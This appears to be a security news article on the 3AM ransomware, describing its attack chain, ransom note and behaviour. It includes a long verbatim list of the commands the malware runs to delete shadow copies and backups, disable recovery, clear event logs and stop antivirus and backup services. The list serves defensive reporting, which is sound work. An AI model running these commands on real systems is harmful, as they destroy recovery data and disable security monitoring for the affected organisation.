Sunday, May 19, 2024

3AM Ransomware Attack – Stop Services & Delete Shadow Copies Before Encrypting

Ransomware is a universal threat to enterprises, targeting anyone handling sensitive data when profit potential is high.

A new ransomware named 3AM has surfaced and is used in a limited manner. Symantec’s Threat Hunter Team witnessed it in a single attack, replacing LockBit when blocked.

3AM is a Rust-written ransomware that is completely unexplored that ceases services, encrypts files and tries to delete VSS copies. However, besides this, its connections to cybercrime groups remain uncertain.

Attack overview

The threat actor’s initial actions included running ‘gpresult’ to extract policy settings, deploying Cobalt Strike components, and attempting privilege escalation with PsExec.

The attackers conducted reconnaissance with the following commands for lateral movement opportunities:-

They established persistence by adding a new user and exfiltrated files using Wput to their FTP server. The attackers initially tried LockBit, but after it was blocked, they turned to 3AM. 

Their use of 3AM was partially successful, as it only infected three out of the organization’s machines, with two of them successfully blocking it.

Ransom note

3AM gets its name from the ‘.threeamtime’ file extension it adds to encrypted files, as referenced in the ransom note.

ransom note
3AM Ransom Note (Source – Symantec)

Threat researcher Ygor Maximo has recently identified a leaked website belonging to the 3AM ransomware group. The website currently lists six victims who have fallen prey to the group’s notorious activities. This discovery highlights the ever-increasing threat posed by ransomware attacks and serves as a reminder of the importance of robust cybersecurity measures to protect businesses and individuals alike.

This Rust-based ransomware recognizes the following command-line parameters since it’s a 64-bit executable:-

  • “-k”
  • “-p”
  • “-h”
  • “-m”
  • “-s”

The malware tries to run the following commands after its execution, and it mainly targets the security and backup software:-

  • “netsh.exe” advfirewall firewall set rule “group=”Network Discovery”” new enable=Yes
  • “wbadmin.exe” delete systemstatebackup -keepVersions:0 -quiet
  • “wbadmin.exe” DELETE SYSTEMSTATEBACKUP
  • “wbadmin.exe” DELETE SYSTEMSTATEBACKUP -deleteOldest
  • “bcdedit.exe” /set {default} recoveryenabled No
  • “bcdedit.exe” /set {default} bootstatuspolicy ignoreallfailures
  • “wmic.exe” SHADOWCOPY DELETE /nointeractive
  • “cmd.exe” /c wevtutil cl security
  • “cmd.exe” /c wevtutil cl system
  • “cmd.exe” /c wevtutil cl application
  • “net” stop /y vmcomp
  • “net” stop /y vmwp
  • “net” stop /y veeam
  • “net” stop /y Back
  • “net” stop /y xchange
  • “net” stop /y backup
  • “net” stop /y Backup
  • “net” stop /y acronis
  • “net” stop /y AcronisAgent
  • “net” stop /y AcrSch2Svc
  • “net” stop /y sql
  • “net” stop /y Enterprise
  • “net” stop /y Veeam
  • “net” stop /y VeeamTransportSvc
  • “net” stop /y VeeamNFSSvc
  • “net” stop /y AcrSch
  • “net” stop /y bedbg
  • “net” stop /y DCAgent
  • “net” stop /y EPSecurity
  • “net” stop /y EPUpdate
  • “net” stop /y Eraser
  • “net” stop /y EsgShKernel
  • “net” stop /y FA_Scheduler
  • “net” stop /y IISAdmin
  • “net” stop /y IMAP4
  • “net” stop /y MBAM
  • “net” stop /y Endpoint
  • “net” stop /y Afee
  • “net” stop /y McShield
  • “net” stop /y task
  • “net” stop /y mfemms
  • “net” stop /y mfevtp
  • “net” stop /y mms
  • “net” stop /y MsDts
  • “net” stop /y Exchange
  • “net” stop /y ntrt
  • “net” stop /y PDVF
  • “net” stop /y POP3
  • “net” stop /y Report
  • “net” stop /y RESvc
  • “net” stop /y Monitor
  • “net” stop /y Smcinst
  • “net” stop /y SmcService
  • “net” stop /y SMTP
  • “net” stop /y SNAC
  • “net” stop /y swi_
  • “net” stop /y CCSF
  • “net” stop /y ccEvtMgr
  • “net” stop /y ccSetMgr
  • “net” stop /y TrueKey
  • “net” stop /y tmlisten
  • “net” stop /y UIODetect
  • “net” stop /y W3S
  • “net” stop /y WRSVC
  • “net” stop /y NetMsmq
  • “net” stop /y ekrn
  • “net” stop /y EhttpSrv
  • “net” stop /y ESHASRV
  • “net” stop /y AVP
  • “net” stop /y klnagent
  • “net” stop /y wbengine
  • “net” stop /y KAVF
  • “net” stop /y mfefire
  • “net” stop /y svc$
  • “net” stop /y memtas
  • “net” stop /y mepocs
  • “net” stop /y GxVss
  • “net” stop /y GxCVD
  • “net” stop /y GxBlr
  • “net” stop /y GxFWD
  • “net” stop /y GxCIMgr
  • “net” stop /y BackupExecVSSProvider
  • “net” stop /y BackupExecManagementService
  • “net” stop /y BackupExecJobEngine
  • “net” stop /y BackupExecDiveciMediaService
  • “net” stop /y BackupExecAgentBrowser
  • “net” stop /y BackupExecAgentAccelerator
  • “net” stop /y vss
  • “net” stop /y BacupExecRPCService
  • “net” stop /y CASAD2WebSvc
  • “net” stop /y CAARCUpdateSvc
  • “net” stop /y YooBackup
  • “net” stop /y YooIT

The ransomware scans encrypts matching files, deletes originals, and drops a ‘RECOVER-FILES.txt’ ransom note in each folder. Besides this, the encrypted files have a ‘0x666’ marker followed by ransomware data.

Ransomware affiliates act more independently, with some deploying multiple ransomware strains in one attack. While many new ransomware families fade quickly, 3 AM’s use as a LockBit affiliate fallback hints at potential future relevance for attackers.

IOCs

3AM Ransomware
IOCs (Source – Symantec)

Keep informed about the latest Cyber Security News by following us on Google NewsLinkedinTwitter, and Facebook.

Website

Latest articles

Norway Recommends Replacing SSLVPN/WebVPN to Stop Cyber Attacks

A very important message from the Norwegian National Cyber Security Centre (NCSC) says that...

New Linux Backdoor Attacking Linux Users Via Installation Packages

Linux is widely used in numerous servers, cloud infrastructure, and Internet of Things devices,...

ViperSoftX Malware Uses Deep Learning Model To Execute Commands

ViperSoftX malware, known for stealing cryptocurrency information, now leverages Tesseract, an open-source OCR engine,...

Santander Data Breach: Hackers Accessed Company Database

Santander has confirmed that there was a major data breach that affected its workers...

U.S. Govt Announces Rewards up to $5 Million for North Korean IT Workers

The U.S. government has offered a prize of up to $5 million for information...

Russian APT Hackers Attacking Critical Infrastructure

Russia leverages a mix of state-backed Advanced Persistent Threat (APT) groups and financially motivated...

Millions Of IoT Devices Vulnerable To Attacks Leads To Full Takeover

Researchers discovered four significant vulnerabilities in the ThroughTek Kalay Platform, which powers 100 million...
Guru baran
Guru baranhttps://gbhackers.com
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Free Webinar

Live API Attack Simulation

94% of organizations experience security problems in production APIs, and one in five suffers a data breach. As a result, cyber-attacks on APIs increased from 35% in 2022 to 46% in 2023, and this trend continues to rise.
Key takeaways include:

  • An exploit of OWASP API Top 10 vulnerability
  • A brute force ATO (Account Takeover) attack on API
  • A DDoS attack on an API
  • Positive security model automation to prevent API attacks

Related Articles